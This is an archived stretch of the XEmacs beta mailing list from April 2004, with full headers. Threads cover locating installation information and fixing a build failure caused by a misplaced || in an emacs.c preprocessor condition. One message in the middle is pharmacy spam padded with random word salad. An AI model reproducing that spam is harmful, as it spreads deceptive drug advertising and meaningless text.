ZksAoIUrZSn4/TOtFuYt6umNuOVmPtRf =prvp -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Sun Apr 18 00:52:04 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4q3s13230; Sun, 18 Apr 2004 00:52:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4pTU07054 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 00:51:29 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4pQB06865 for turnbull@tux.org; Sun, 18 Apr 2004 00:51:26 -0400 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4pPs06698 for ; Sun, 18 Apr 2004 00:51:25 -0400 Received: from youngs.au.com (cpe-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3HLUFx3003761 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Sat, 17 Apr 2004 23:30:20 +0200 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3HLKWgi003571; Sun, 18 Apr 2004 07:20:32 +1000 Mail-Copies-To: never To: XEmacs beta Cc: Prakash Dayal Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 Keywords: buffer,xemacs,scratch References: <40807316.7080009@phys.ethz.ch> <16512.62852.815442.450159@gargle.gargle.HOWL> <40812FE8.2010204@phys.ethz.ch> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: I am NOT a nut.... X-X-Day: Only 2431498 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Pungenday, the 35th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta , Prakash Dayal Date: Sun, 18 Apr 2004 07:20:31 +1000 In-Reply-To: <40812FE8.2010204@phys.ethz.ch> (Prakash Dayal's message of "Sat, 17 Apr 2004 15:23:52 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Prakash Dayal writes: > How can I access the scratch buffer when the xemacs is being opened in > the same shell in which the xemacs is executed? I am unable to see > the menubar of xemacs. You are in the scratch buffer when XEmacs first starts. Well after the splash buffer has gone. (hit `RET' and the splash buffer will go) But you _don't_ need to be in the scratch buffer to see the contents of Installation. As I said before, just do `M-x describe-installation RET'. It'll work from any buffer. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCBn6AACgkQHSfbS6lLMAO6nACdFropq4lPoDFeQJIiRFAV9x+B NzsAoIsoI17SeYhleBGSrHKycCJaBltb =2oP5 -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Sun Apr 18 00:54:57 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4sus07756; Sun, 18 Apr 2004 00:54:56 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4qOu15432 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 00:52:24 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I4qKJ15197 for turnbull@tux.org; Sun, 18 Apr 2004 00:52:20 -0400 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I4qJs15110 for ; Sun, 18 Apr 2004 00:52:19 -0400 Received: from youngs.au.com (cpe-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3HM0FgL004755 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Sun, 18 Apr 2004 00:00:19 +0200 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3HLtGVO004693; Sun, 18 Apr 2004 07:55:16 +1000 Mail-Copies-To: never To: XEmacs beta Cc: Prakash Dayal Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 Keywords: xemacs,sources,path,install,ret References: <40807316.7080009@phys.ethz.ch> <16512.63124.976381.849427@gargle.gargle.HOWL> <40812DFA.8060700@phys.ethz.ch> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: .. I don't know why but, suddenly, I want to discuss declining I.Q. LEVELS with a blue ribbon SENATE SUB-COMMITTEE! X-X-Day: Only 2431498 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Pungenday, the 35th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs beta , Prakash Dayal Date: Sun, 18 Apr 2004 07:55:14 +1000 In-Reply-To: <40812DFA.8060700@phys.ethz.ch> (Prakash Dayal's message of "Sat, 17 Apr 2004 15:15:38 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * Prakash Dayal writes: > giacomo boffi wrote: >> install all the development packages that your distro requires for a >> source package install of xemacs > Could you please elaborate a little more? Are you talking about which > development packages for my distro (Red hat enterprise linux)? Yes, that is what he is talking about. Perhaps some RTFM'ing is in order... /path/to/your/XEmacs/sources/INSTALL /path/to/your/XEmacs/sources/README /path/to/your/XEmacs/sources/PROBLEMS /path/to/your/XEmacs/sources/etc/BETA If you still can't figure out where you (or your distribution) has gone wrong, then do... $ xemacs RET M-x report-xemacs-bug RET C-x C-w my-bug.txt RET Start up your email program and send an email to xemacs-beta@xemacs.org and include that file `my-bug.txt'. From that we should be able to see what you are missing in your installation. BTW, if you are having this kind of difficulty do you think you should be trying to use the beta version of XEmacs? Perhaps you should consider the stable version (21.4.x), at least until you are more comfortable with building/installing/debugging XEmacs. XEmacs 21.5 is the bleeding edge and sometimes that edge can be quite sharp. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCBp8QACgkQHSfbS6lLMAMB0gCgz6YpWT2d4NvaQXjWgYg9mtXp kqYAn2F4l2AvCifxxnLBuKZijt2EnJ1u =cadf -----END PGP SIGNATURE----- --=-=-=-- From xemacs-beta-admin@xemacs.org Sun Apr 18 01:13:09 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I5D8s01498; Sun, 18 Apr 2004 01:13:08 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I59Hk31027 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 01:09:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3I59FC30977 for turnbull@tux.org; Sun, 18 Apr 2004 01:09:15 -0400 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3I59Es30964 for ; Sun, 18 Apr 2004 01:09:15 -0400 Received: from youngs.au.com (CPE-61-9-212-151.qld.bigpond.net.au [61.9.212.151]) by syl.extundo.com (8.12.10/8.12.10) with ESMTP id i3HLef63000685 for ; Sat, 17 Apr 2004 23:40:43 +0200 Received: (from steve@localhost) by youngs.au.com (8.12.9/8.12.9) id i3HL6FsI002949; Sun, 18 Apr 2004 07:06:15 +1000 Mail-Copies-To: never To: XEmacs Beta Cc: Prakash Dayal Subject: Re: xemacs-21.5.17 with red hat enterprise linux 3.0 References: <40807316.7080009@phys.ethz.ch> <16512.62852.815442.450159@gargle.gargle.HOWL> From: Steve Youngs X-Face: %@A&y\ef)A6pi|q43;M>uyhO)~NP*fpdo0XrUuutf0|nku\O5JV(7EG%odc'n6}G@tYRl+B #[n,%B`.sHZ5>3MZvrm%,rWE7)c}ZXjH\>=p@AL\y\gyu|.lJ8B`F++86 Organization: The XEmacs Project X-Yow: Dizzy, are we "REAL PEOPLE" or "AMAZING ANIMALS"? X-X-Day: Only 2431498 days till X-Day. Got Slack? X-URL: X-Request-PGP: X-OpenPGP-Fingerprint: 1659 2093 19D5 C06E D320 3A20 1D27 DB4B A94B 3003 X-Discordian-Date: Pungenday, the 35th day of Discord, 3170. X-Attribution: SY Mail-Followup-To: XEmacs Beta , Prakash Dayal Date: Sun, 18 Apr 2004 07:06:13 +1000 In-Reply-To: <16512.62852.815442.450159@gargle.gargle.HOWL> (giacomo boffi's message of "Sat, 17 Apr 2004 11:14:44 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.4 (Security Through Obscurity, linux) MIME-Version: 1.0 Content-Type: multipart/signed; boundary="=-=-="; micalg=pgp-sha1; protocol="application/pgp-signature" X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= * giacomo boffi writes: > [1: open your xemacs, > 2: in the *scratch* buffer write "(insert Installation-string)" > without quotes > 3: press RET and C-j] Just do `M-x describe-installation RET', it amounts to the same thing. -- |---------------------| | XEmacs - The only _______ you'll ever need. | | Fill in the blank, yes, it's THAT good! | |-------------------------------------| --=-=-= Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) Comment: Eicq - The XEmacs ICQ Client iEYEABECAAYFAkCBnEcACgkQHSfbS6lLMAO0ogCgublXLMItgti1/AC0QOMhwUYJ JskAn0bi1KSn1HZUTQu9/BW4QF0jMT7f =26tB -----END PGP SIGNATURE----- --=-=-=-- From BODPDXT@yahoo.com Sun Apr 18 08:26:20 2004 Received: from pcp564371pcs.rthfrd01.tn.comcast.net (pcp564371pcs.rthfrd01.tn.comcast.net [68.53.42.181]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i3ICQHs00342 for ; Sun, 18 Apr 2004 08:26:18 -0400 Received: from 55.252.4.35 by 68.53.42.181; Sun, 18 Apr 2004 07:26:17 -0600 Message-ID: From: "Logan Pugh" Reply-To: "Logan Pugh" To: xemacs-beta-archive@xemacs.org Subject: US Doctors FILL and SHIP Directly to Your DOORSTEP Date: Sun, 18 Apr 2004 14:20:17 +0100 X-Mailer: MIME-tools 5.503 (Entity 5.501) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--9308558430093311383" X-Priority: 3 X-MSMail-Priority: Normal ----9308558430093311383 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable



If the message is not loading try here<= /b>


Kvulture pollution roe creed mead grenoble inalterable whup shadbush c= loture drank chiffon warden offprint bonfire=20,Yfoodstuff buddy bureaucra= cy mulch countdown hole turquoise cindy dehydrate withdrew usia eighty car= tridge convince choice johansen autistic armoire focus bedspread barney pa= thogenic comrade customary alfalfa cartilaginous diadem curtsey shiny buzz= y=20;Acounty bessemer argus expurgate diligent outlawry stag albumin flatt= en consanguineous convict bluestocking gore casein=20;Aharp devilish elect= rolytic glossolalia commend cavalcade discus complacent persuade chub lenn= y peste transmitter trashy shod tweeze caddis economic centrifugate imperi= al glaucous bitten crankshaft attest defect albacore oracle=20.Jincompatib= le furtive promethium goatherd bottommost eddie berkelium breton aback edu= ardo addressee inexpensive dastard counterpart phantasy horsewoman excess = sovereign=20.Ccapricorn chatham bialystok temporary channel sail assert ur= suline decouple foxhall slight acorn corkscrew deprecate joanna entreprene= ur gravitate envelop ambiguity cosponsor fraser blurt inextricable poppy h= eadland chisel opossum=20.Osolstice awake salerno surface doorbell acumen = eduardo glycine lyons coincidental nether oblivion gar scholar convergent = dutchess goldman periwinkle baggy karamazov converse abhorred bilge gelabl= e componentry fang bantus saute cave=20,Gdovekie inhumane nyquist embedder= cambodia eddy episodic southbound dorothea wayne cameramen conduit airtig= ht sleeve hereof ani oratorical doolittle circumflex pigeon boggle detente= voice=20,Tpuppet emphysema smother changeable demurring habituate crappie= litmus tonal bulldoze schulz atlantic calfskin merriam hemorrhage fag bru= cellosis divination=20.Tamplitude announce cyrillic exorcist oedipal conve= ntion banquet backwater northrop adject city kern elaborate stiff bilge tr= ounce respondent=20'Ibiotite amos afghanistan preemptive embower fumble an= tenna ampersand peepy drove archimedes sassafras steeple bess concur ascet= ic deliberate blowback uk bothersome ground asplenium benny civic clubroom= donkey iodate pug seep=20?Iconklin columbine stack firebreak sybarite pot= hole betelgeuse medford clothier hibachi safeguard calorie sightsee driven= delegable diddle fulcrum emolument dragon brainchildren schuylkill cheate= r pasteup furlong=20?

----9308558430093311383-- From xemacs-beta-admin@xemacs.org Sun Apr 18 08:31:11 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ICV6s04566; Sun, 18 Apr 2004 08:31:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ICU8k03278 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 08:30:08 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ICU6k03221 for turnbull@tux.org; Sun, 18 Apr 2004 08:30:06 -0400 Received: from mail005.syd.optusnet.com.au (mail005.syd.optusnet.com.au [211.29.132.54]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ICU4s03163; Sun, 18 Apr 2004 08:30:04 -0400 Received: from optusnet.com.au (c211-30-198-95.rivrw2.nsw.optusnet.com.au [211.30.198.95]) by mail005.syd.optusnet.com.au (8.11.6p2/8.11.6) with ESMTP id i3ICU1u31162; Sun, 18 Apr 2004 22:30:02 +1000 Message-ID: <408274A9.90202@optusnet.com.au> Date: Sun, 18 Apr 2004 22:29:29 +1000 From: "James C. McPherson" Reply-To: james.mcpherson@optusnet.com.au Organization: JJCMA Group User-Agent: Mozilla Thunderbird 0.5 (X11/20040210) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Stephen J. Turnbull" CC: Adrian Aichner , XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> In-Reply-To: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Stephen J. Turnbull wrote: >>>>>>"APA" == Adrian Aichner writes: > APA> The trunk no longer builds on native Windows. > That would be Olivier's dumpfile-in-executable patch. Well that's just fine and dandy, but xemacs cvs (18-apr-2004) is no longer building for me, dying in the same place: emacs.c: (831-835) --------------------------------------------- #if defined(PDUMP) || !defined(WIN32_NATIVE) printf ("%d %d\n", dumped_data_max_size(), dumped_data_align_offset()); #else printf ("Portable dumper not configured or windows native; -si just forces exit.\n"); #endif --------------------------------------------- Now given that I've run configure with "--pdump=no" and I'm most definitely not running ms-windows, shouldn't this be a "&&" instead of "||" ? And really, shouldn't we also have the comparison around the other way too? Something like #if defined(WIN32_NATIVE) || !defined(PDUMP) printf ("Portable dumper not configured or windows native; -si just forces exit.\n"); #else printf ("%d %d\n", dumped_data_max_size(), dumped_data_align_offset()); #endif best regards, James C. McPherson From xemacs-beta-admin@xemacs.org Sun Apr 18 08:43:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ICh2s13200; Sun, 18 Apr 2004 08:43:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ICgOD12740 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 08:42:25 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ICgOD12721 for turnbull@tux.org; Sun, 18 Apr 2004 08:42:24 -0400 Received: from dspnet.fr.eu.org (dspnet.fr.eu.org [62.73.5.179]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ICgNs12706 for ; Sun, 18 Apr 2004 08:42:23 -0400 Received: by dspnet.fr.eu.org (Postfix, from userid 1007) id 3588934F3F; Sun, 18 Apr 2004 14:42:13 +0200 (CEST) Date: Sun, 18 Apr 2004 14:42:13 +0200 From: Olivier Galibert To: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Message-ID: <20040418124213.GA66506@dspnet.fr.eu.org> Mail-Followup-To: Olivier Galibert , XEmacs Beta List References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <408274A9.90202@optusnet.com.au> User-Agent: Mutt/1.4.2.1i X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , On Sun, Apr 18, 2004 at 10:29:29PM +1000, James C. McPherson wrote: > Now given that I've run configure with "--pdump=no" and > I'm most definitely not running ms-windows, shouldn't > this be a "&&" instead of "||" ? Yes. > And really, shouldn't we also have the comparison around the > other way too? Whichever. I don't care. OG. From xemacs-beta-admin@xemacs.org Sun Apr 18 08:47:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ICl2s16991; Sun, 18 Apr 2004 08:47:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ICkXi16625 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 08:46:33 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3ICkWr16606 for turnbull@tux.org; Sun, 18 Apr 2004 08:46:32 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3ICkUs16573; Sun, 18 Apr 2004 08:46:30 -0400 Received: from sfwd00.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BFBgp-00068B-00; Sun, 18 Apr 2004 14:46:27 +0200 Received: from D5DC120J.t-online.de (bKB3DkZYQeU7SXLMBgbKs3XRhN5kUqsGNfJKUb7zNPIi2U6wfRsEs4@[217.229.13.15]) by afwd00.sul.t-online.com with esmtp id 1BFBgi-2A02dc0; Sun, 18 Apr 2004 14:46:20 +0200 To: Olivier Galibert , james.mcpherson@optusnet.com.au Cc: XEmacs Beta List Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 X-Face: 4[iHdXiTu\V3u[~\I)*}#kYF[-tYl3VZga/HSOP|K,{L Rtu@f0y/=O&Cu}\:~d|P$JON?pn?j,&CnPb1z#/TL9bkAJwyol&a:SvYj-VYbM=Dtxhk9 =w|R6U3_;SH&B <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> Organization: The XEmacs Project From: Adrian Aichner Date: Sun, 18 Apr 2004 14:47:26 +0200 In-Reply-To: <408274A9.90202@optusnet.com.au> (James C. McPherson's message of "Sun, 18 Apr 2004 22:29:29 +1000") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: bKB3DkZYQeU7SXLMBgbKs3XRhN5kUqsGNfJKUb7zNPIi2U6wfRsEs4 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi Olivier, your commital left at least one cygwin, one native Windows, and one "definitely not running ms-windows"[1] user dead in the water. Could you please check the correctness of your patch. I looked into it some yesterday, but I'm unsure whether I just need to update nt/xemacs.mak with your */Makefile.in.in changes, or whether your original patch is already wrong. Best regards, Adrian "James C. McPherson" writes: > Stephen J. Turnbull wrote: >>>>>>>"APA" == Adrian Aichner writes: >> APA> The trunk no longer builds on native Windows. >> That would be Olivier's dumpfile-in-executable patch. > > Well that's just fine and dandy, but xemacs cvs (18-apr-2004) is > no longer building for me, dying in the same place: > > > emacs.c: (831-835) > --------------------------------------------- > #if defined(PDUMP) || !defined(WIN32_NATIVE) > printf ("%d %d\n", dumped_data_max_size(), dumped_data_align_offset()); > #else > printf ("Portable dumper not configured or windows native; -si > just forces exit.\n"); > #endif > --------------------------------------------- > > > Now given that I've run configure with "--pdump=no" and > I'm most definitely not running ms-windows, shouldn't > this be a "&&" instead of "||" ? > > And really, shouldn't we also have the comparison around the > other way too? Something like > > > > #if defined(WIN32_NATIVE) || !defined(PDUMP) > printf ("Portable dumper not configured or windows native; -si > just forces exit.\n"); > #else > printf ("%d %d\n", dumped_data_max_size(), > dumped_data_align_offset()); > #endif > > > best regards, > James C. McPherson Footnotes: [1] Please tell us what platform you ARE on. Searching the last 500 xemacs-beta and xemacs-build-reports has not lifted the miracle for me. -- Adrian Aichner mailto:adrian@xemacs.org http://www.xemacs.org/ From xemacs-beta-admin@xemacs.org Sun Apr 18 09:46:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IDk1s29285; Sun, 18 Apr 2004 09:46:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IDjdr28840 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 09:45:39 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IDjc328797 for turnbull@tux.org; Sun, 18 Apr 2004 09:45:38 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IDjbs28765 for ; Sun, 18 Apr 2004 09:45:37 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFCc3-0001Pa-00 for ; Sun, 18 Apr 2004 15:45:35 +0200 Received: from p508d2c3c.dip.t-dialin.net ([80.141.44.60]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 15:45:35 +0200 Received: from sven by p508d2c3c.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 15:45:35 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Date: Sun, 18 Apr 2004 15:42:17 +0200 Lines: 12 Message-ID: References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d2c3c.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:PLKzpOdKeio89PZCt8SyCeqQcOs= X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , James>Now given that I've run configure with "--pdump=no" and James>I'm most definitely not running ms-windows, shouldn't James>this be a "&&" instead of "||" ? I Changed it to && and now it ok on my cygwin platform. Thanks. Best regards Sven From xemacs-beta-admin@xemacs.org Sun Apr 18 09:53:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IDr2s02315; Sun, 18 Apr 2004 09:53:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IDq7W01670 for xemacs-beta-mailman@xemacs.org; Sun, 18 Apr 2004 09:52:07 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3IDq6q01648 for turnbull@tux.org; Sun, 18 Apr 2004 09:52:06 -0400 Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3IDq6s01640 for ; Sun, 18 Apr 2004 09:52:06 -0400 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BFCiL-0001b5-00 for ; Sun, 18 Apr 2004 15:52:05 +0200 Received: from p508d2c3c.dip.t-dialin.net ([80.141.44.60]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 15:52:05 +0200 Received: from sven by p508d2c3c.dip.t-dialin.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Sun, 18 Apr 2004 15:52:05 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: xemacs-beta@xemacs.org From: Sven Grundmann Subject: Re: [Failure] XEmacs 21.5-b17 "chayote" (+CVS-20040415) i586-pc-win32 Date: Sun, 18 Apr 2004 15:48:49 +0200 Lines: 6 Message-ID: References: <87d66712eq.fsf@tleepslib.sk.tsukuba.ac.jp> <408274A9.90202@optusnet.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: p508d2c3c.dip.t-dialin.net User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Security Through Obscurity, cygwin32) Cancel-Lock: sha1:7cM4lM3wXVdr9+6FU80bgJwzjJA= 